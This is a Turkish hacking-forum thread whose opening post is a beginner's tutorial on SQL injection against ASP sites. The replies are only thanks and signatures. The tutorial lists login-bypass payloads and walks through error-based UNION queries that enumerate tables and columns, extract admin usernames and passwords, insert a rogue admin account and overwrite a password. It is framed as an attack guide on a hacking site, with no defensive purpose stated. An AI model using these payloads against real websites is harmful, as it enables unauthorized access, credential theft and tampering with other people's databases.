Anasayfa Forumlar Yeni Mesajlar Bugünün Mesajları Üye Ol
Geri git   Turkish Hacking Sabotage | Türkiyenin En Büyük Hack Ve Security Sitesi > Hacking Center > Yeni Başlayanlar
Sayfaya güncelle ASP SQL İnjection - By FaTaLiST
Yeni Başlayanlar Yeni başlayanlar sorularını,sorunlarınız.


Konu Bilgileri
Konu Başlığı
ASP SQL İnjection - By FaTaLiST
Konudaki Cevap Sayısı
35
Şuan Bu Konuyu Görüntüleyenler
 
Görüntülenme Sayısı
441

Cevapla
 
Seçenekler Stil
ASP SQL İnjection - By FaTaLiST
Alt
  (#1)
FaTaLiST is Offline
[99]Administrator
FaTaLiST will become famous soon enoughFaTaLiST will become famous soon enough
 
FaTaLiST - ait Kullanıcı Resmi (Avatar)
 
>Mesaj Sayısı: 73
>Açtığı Konu: 17

Level: 7 [♥ Bé-Yêu ♥♥ Bé-Yêu ♥♥ Bé-Yêu ♥♥ Bé-Yêu ♥♥ Bé-Yêu ♥]
Paylaşım: 0 / 161
Güç: 24 / 574
Tecrübe: 46%

Üyelik tarihi: Apr 2007
Nerden: iSTaNBuL
Rep Puani: 100
Rep Derecesi : FaTaLiST will become famous soon enoughFaTaLiST will become famous soon enough
   
ASP SQL İnjection - By FaTaLiST - 10-05-2007


Merhaba arkadaşlar.Bu konuda sizlere sql injection saldırıları hakkında bilgiler sunacağım.Döküman alıntı değildir.(ruhemici tarafından hazırlanmıştır)

SQL Nedir?
Açılımı açılımı Structured Query Language(Yapısal sorgu dili)'dir.Sql ibm tarafından geliştirilmiş bir veritabanı dilidir.Bilindiği gibi asp,php gibi
programlama dilleri veritabanı kulanır.Veritabanlarında tablolar saklanır ve bu tablolarda çeşitli bilgiler üye vs. bulunur.Sql istenilen bilgileri sorgulama
türüne göre kullanıcıya sunar.Sql injection olayı da burada ortaya çıkar.

Sql Injection Nedir?
Basit olarak tanımlayacak olursak,veritabanı kullanan sitelerde bulunan kod açıklarından faydalanarak bazı kod girişleriyle
sql'nin istediğimiz komutları çalıştırmasıdır.Örneğin;sitelerdeki üye girişi sayfalarında kullanıcı adı ve şifresiyle kişinin
üye olup olmadığı veritabanına sorulur.Sql injection sql sorgusunu değiştirerek istediğimiz bilgiyi almamıza olanak verir.

Sql Injection Açıklarını Bulmak
Bu açıkları kullanıcıların bilgi gönderdiği yerlerde bulabiliriz.Yorum sayfaları,kullanıcı girişleri...Asp,php kullanılmış
sayfalarda bazı sayflar parametre alır.Mesela ;



Html sayfalarında ise durum farklıdır.Html sayfalarında sayfa adresinde parametreleri göremezsiniz.Bu yüzden sayfanın kaynak kodlarını
inceleriz.Kaynak kodlarında form etiketini aramalıyız.





Bir sayfada açık olup olmadığını nasıl anlayabiliriz?
Bunun için tek tırnak hilesi kullanılır.Adres kısmına tek tırnak yazın.Eğer ODBC hatası verirse o siteye sql injection
saldırısı yapılabilir.Ancak,hepsinde olacak diye de bir kaide yoktur.ODBC hatalarıyla birçok bilgiye ulaşılabilir.

admin’--
’ or 0=0 --
" or 0=0 --
or 0=0 --
’ or 0=0 #
" or 0=0 #
or 0=0 #
’ or ’x’=’x
" or "x"="x
’) or (’x’=’x
’ or 1=1--
" or 1=1--
or 1=1--
’ or a=a--
" or "a"="a
’) or (’a’=’a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi’ or 1=1 --
hi’ or ’a’=’a
hi’) or (’a’=’a
hi") or ("a"="a

gibi kodlarla da sql hata vermeye zorlanabilir.Bu kodları yazmaktaki amaç sql'nin normal şartlarda bize sunmadığı bilgileri
sunmasını sağlamaktır.Örneğin tablo isimleri gibi.

Tablo isimlerini öğrenelim
Sitemiz [Linkleri Sadece Üyeler Görebilir..] olsun.

Şimdi ilk tablonun ismini öğrenelim.Adresin sonuna şu kodu eklemeliyiz.


Kod:
UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES–


Yani son hali şu şekilde olacak ;



INFORMATION_SCHEMA.TABLES tüm tabloların bilgisini saklıyor.Tablolar hakkında henüz bilgimiz olmadığı için bunu kullandık.
TOP 1 TABLE_NAME ise 1.tablodur.UNION ise hata vermesi için kullanılır.-- ise işlemi sonlandırmak içindir.

Enter'a bastığımızda şöyle bir hata veriyor olacak.



Gördüğünüz gibi bize 1.tablo adının ruh olduğunu söyledi.

Sonraki tablonun adını almak için kodumuz ;

Kod:
[Linkleri Sadece Üyeler Görebilir..] UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (’ruh')–


Mesela içinde user geçen tablonunu adını almak için ;


Kod:
[Linkleri Sadece Üyeler Görebilir..] UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ’%25user%25’--


Böyle bir hata ile karşılaşacağız.



İçinde admin geçenler için mesela aynı şey geçerli.


Kod:
[Linkleri Sadece Üyeler Görebilir..] UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ’%25admin%25’--


TABLES WHERE TABLE_NAME LIKE ’%25admin%25’ içinde admin gibi kelimeler olan tabloları göster demektir.

Böylece hatamız;



Şu anda admins isimli bir tablo bulduk.Şimdi sütun isimlerini öğreneceğiz.

Sütun isimlerini öğrenmek

Bunun için INFORMATION_SCHEMA.COLUMNS kullanılacak.


Kod:
[Linkleri Sadece Üyeler Görebilir..] UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME LIKE = ’admins’--



Admins tablosundaki ilk sütun logon.

Şimdi diğer sütunun ismine bakalım.


Kod:
[Linkleri Sadece Üyeler Görebilir..] UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admins’ WHERE COLUMN_NAME NOT IN (’logon’)--


Kod bu.Hatamız ;



Diğer sütunun ismi LogonID imiş.Tablo ve sütun isimlerini öğrendik.Şimdi de kullanıcı adı ve şifreleri öğrenelim.

Kullanıcı adı ve şifreler
İlk önce admins tablosunun ilk sütunu olan logon'a bakalım.


[Linkleri Sadece Üyeler Görebilir..] UNION SELECT TOP 1 logon FROM admins--


Hata ;



kullanıcı adı star.Üstelik yetkili.Şifresini bulmak için ise ;


Kod:
[Linkleri Sadece Üyeler Görebilir..] UNION SELECT TOP 1 password FROM admins where logon=’ star ’--


Hatamız ;



star kullanıcısın şifresi hack.

Yeni bir kullanıcı eklemek

Bunun için ;


Kod:
[Linkleri Sadece Üyeler Görebilir..] INSERT INTO ’admins’ (’logonID’, ’logon’, ’password’, ’details’) VALUES (666,’Ruhemici’,’ruh’,’NA’)--


Kullanıcı adı : Ruhemici
Şifre : ruh

olan bir kullanıcı veritabanına eklenmiş oldu.

Veritabanındaki bir veriyi değiştirmek

Mesela az önce bulduğumuz star kullanıcısının şifresini değiştirelim.


Kod:
[Linkleri Sadece Üyeler Görebilir..] UPDATE ’admins’ SET ’password’ = ’yenisifre’ WHERE loginname=’star’--


Böylece şifreyi yenişifre olarak değiştirmiş olduk.

Sayısal bilgilere ulaşmak

Az önce star kullanıcısının şifresini hack olarak bulduk.Ancak şifre eğer sayılardan oluşuyorsa durum değişir.Kodu uyguladığımızda
bir hata vermeyecektir.Bunun için hata vermeyi garantilememiz gerekir.


Kod:
[Linkleri Sadece Üyeler Görebilir..] UNION SELECT TOP 1 convert(int, password%2b’%20bilgisayar’) FROM admins where login_name=’star2‘–


star2 kullanıcısı diye bir kullanıcı olduğunu varsayalım.+ işareti(%2b ASCII kod karşılığı) ile bilgisayar kelimesiyle birleştirdik.Şifre sadece sayı olsa bile biz bunu
bir kelime ile birleştirip sayısal bir değere dönüştürmesini sağladık ve sonuç ;



star2 kullanıcısının şifresi 123456
Dökümanın sonu.Umarım faydalı olabilmişimdir.Bu arada örneklerde asp kullanıldı ancak sql php'de de çalışır.
  
Alıntı ile Cevapla

Cevap: asp sql injection
Alt
  (#2)
infiltrat0r is Offline
[10]Yeni Üye
infiltrat0r is just really niceinfiltrat0r is just really niceinfiltrat0r is just really niceinfiltrat0r is just really niceinfiltrat0r is just really nice
 
infiltrat0r - ait Kullanıcı Resmi (Avatar)
 
>Mesaj Sayısı: 3
>Açtığı Konu: 149

Level: 1 [♥ Bé-Yêu ♥]
Paylaşım: 0 / 2
Güç: 1 / 9
Tecrübe: 10%

Üyelik tarihi: May 2007
Nerden: StarHack TeaM
Rep Puani: 401
Rep Derecesi : infiltrat0r is just really niceinfiltrat0r is just really niceinfiltrat0r is just really niceinfiltrat0r is just really niceinfiltrat0r is just really nice
   
Standart Cevap: asp sql injection - 10-05-2007


saolasın adminm süper döküman.


[Linkleri Sadece Üyeler Görebilir..]
  
Alıntı ile Cevapla
Cevap: asp sql injection
Alt
  (#3)
WebLOADER is Offline
[99]Administrator
WebLOADER isimli üye Tecrübe puanını kapatmıştır.
 
WebLOADER - ait Kullanıcı Resmi (Avatar)
 
>Mesaj Sayısı: 427
>Açtığı Konu: 75

Level: 19 [♥ Bé-Yêu ♥♥ Bé-Yêu ♥♥ Bé-Yêu ♥]
Paylaşım: 45 / 455
Güç: 142 / 1620
Tecrübe: 20%

Üyelik tarihi: Apr 2007
Nerden: Fethiye / Underground
Yaş: 23
Rep Puani: 502
Rep Derecesi : WebLOADER isimli üye Tecrübe puanını kapatmıştır.
   
Standart Cevap: asp sql injection - 10-05-2007


Güzel Gerçekten



Bu Sehir Girdap Gülüm
Girdapta Mehtap Gülüm
Felegin Bir Suyu Var
Su Degil Kezzap Gülüm

Yezidin Harci Zulüm
Yigidin Burcu Ölüm
Felege Dayandim Gülüm
Öldümde Uyandim Gülüm




This text will be replaced


  
Alıntı ile Cevapla
Cevap: asp sql injection
Alt
  (#4)
TheWorm is Offline
[10]Yeni Üye
TheWorm will become famous soon enoughTheWorm will become famous soon enough
 
TheWorm - ait Kullanıcı Resmi (Avatar)
 
>Mesaj Sayısı: 418
>Açtığı Konu: 120

Level: 19 [♥ Bé-Yêu ♥♥ Bé-Yêu ♥♥ Bé-Yêu ♥]
Paylaşım: 45 / 450
Güç: 139 / 1348
Tecrübe: 0%

Üyelik tarihi: Jun 2007
Rep Puani: 101
Rep Derecesi : TheWorm will become famous soon enoughTheWorm will become famous soon enough
   
Standart Cevap: asp sql injection - 10-05-2007


bu siteye bole konular yakısır


hackermy@hotmail.com [Linkleri Sadece Üyeler Görebilir..]
  
Alıntı ile Cevapla
Cevap: asp sql injection
Alt
  (#5)
DesTRoyéR
 
>Mesaj Sayısı: n/a
>Açtığı Konu: 5557

Level: -INF [♥ Bé-Yêu ♥]
Paylaşım: NAN / -INF
Güç: -INF / -INF
Tecrübe: NAN%

   
Standart Cevap: asp sql injection - 10-05-2007


emek süper siteyede bu yakışır yararlı olur yeniler için
  
Alıntı ile Cevapla
Cevap: ASP SQL İnjection - By FaTaLiST
Alt
  (#6)
DarqKinq
 
>Mesaj Sayısı: n/a
>Açtığı Konu: 5557

Level: -INF [♥ Bé-Yêu ♥]
Paylaşım: NAN / -INF
Güç: -INF / -INF
Tecrübe: NAN%

   
Standart Cevap: ASP SQL İnjection - By FaTaLiST - 10-05-2007


cok guzel anlatim cok saol.
  
Alıntı ile Cevapla
Cevap: ASP SQL İnjection - By FaTaLiST
Alt
  (#7)
HercuL is Offline
[10]Yeni Üye
HercuL will become famous soon enoughHercuL will become famous soon enough
 
HercuL - ait Kullanıcı Resmi (Avatar)
 
>Mesaj Sayısı: 37
>Açtığı Konu: 0

Level: 4 [♥ Bé-Yêu ♥♥ Bé-Yêu ♥♥ Bé-Yêu ♥]
Paylaşım: 0 / 96
Güç: 12 / 341
Tecrübe: 85%

Üyelik tarihi: Apr 2007
Rep Puani: 100
Rep Derecesi : HercuL will become famous soon enoughHercuL will become famous soon enough
   
Standart Cevap: ASP SQL İnjection - By FaTaLiST - 10-05-2007


emegıne saglık
  
Alıntı ile Cevapla
Cevap: ASP SQL İnjection - By FaTaLiST
Alt
  (#8)
HaTReD is Offline
[10]Yeni Üye
HaTReD has much to be proud ofHaTReD has much to be proud ofHaTReD has much to be proud ofHaTReD has much to be proud ofHaTReD has much to be proud ofHaTReD has much to be proud ofHaTReD has much to be proud ofHaTReD has much to be proud of
 
HaTReD - ait Kullanıcı Resmi (Avatar)
 
>Mesaj Sayısı: 981
>Açtığı Konu: 150

Level: 27 [♥ Bé-Yêu ♥♥ Bé-Yêu ♥♥ Bé-Yêu ♥]
Paylaşım: 133 / 669
Güç: 327 / 2347
Tecrübe: 77%

Üyelik tarihi: Apr 2007
Nerden: :/win[33]
Rep Puani: 1083
Rep Derecesi : HaTReD has much to be proud ofHaTReD has much to be proud ofHaTReD has much to be proud ofHaTReD has much to be proud ofHaTReD has much to be proud ofHaTReD has much to be proud ofHaTReD has much to be proud ofHaTReD has much to be proud of
   
Standart Cevap: ASP SQL İnjection - By FaTaLiST - 10-05-2007


yine döktürmüşsünüz elinize sağlık


bU ALEMDE Kralda biziz Kuralda! iSteYene Rol veririz İsteyenE Yolll....
Farkımız Tarzımız Bizim Delıkanlı 0lmamız ya kan Kustururuz Yada Tam Sustururuz Bu Hususta Ne Kural nede Kral tanırız
  
Alıntı ile Cevapla
Cevap: ASP SQL İnjection - By FaTaLiST
Alt
  (#9)
NicoMedian is Offline
[36]S.H.T Özel Üye
NicoMedian will become famous soon enoughNicoMedian will become famous soon enough
 
NicoMedian - ait Kullanıcı Resmi (Avatar)
 
>Mesaj Sayısı: 889
>Açtığı Konu: 109

Level: 26 [♥ Bé-Yêu ♥♥ Bé-Yêu ♥♥ Bé-Yêu ♥]
Paylaşım: 128 / 641
Güç: 296 / 2274
Tecrübe: 64%

Üyelik tarihi: Apr 2007
Nerden: sanane doktormusun
Rep Puani: 100
Rep Derecesi : NicoMedian will become famous soon enoughNicoMedian will become famous soon enough
   
Standart Cevap: ASP SQL İnjection - By FaTaLiST - 10-05-2007


anlatım super eline saglık


NicoMedian is Back
  
Alıntı ile Cevapla
Cevap: ASP SQL İnjection - By FaTaLiST
Alt
  (#10)
PaSHaSHT is Offline
[10]Yeni Üye
PaSHaSHT will become famous soon enoughPaSHaSHT will become famous soon enough
 
PaSHaSHT - ait Kullanıcı Resmi (Avatar)
 
>Mesaj Sayısı: 153
>Açtığı Konu: 10

Level: 11 [♥ Bé-Yêu ♥♥ Bé-Yêu ♥]
Paylaşım: 0 / 260
Güç: 51 / 922
Tecrübe: 42%

Üyelik tarihi: Apr 2007
Nerden: İsTanBuL!.. Taxim
Rep Puani: 104
Rep Derecesi : PaSHaSHT will become famous soon enoughPaSHaSHT will become famous soon enough
   
Standart Cevap: ASP SQL İnjection - By FaTaLiST - 11-29-2007


qerceqtende qüseL.... emeqe Sayqı
  
Alıntı ile Cevapla
Cevapla


Konuyu Toplam 1 Üye okuyor. (0 Kayıtlı üye ve 1 Misafir)
 
Seçenekler
Stil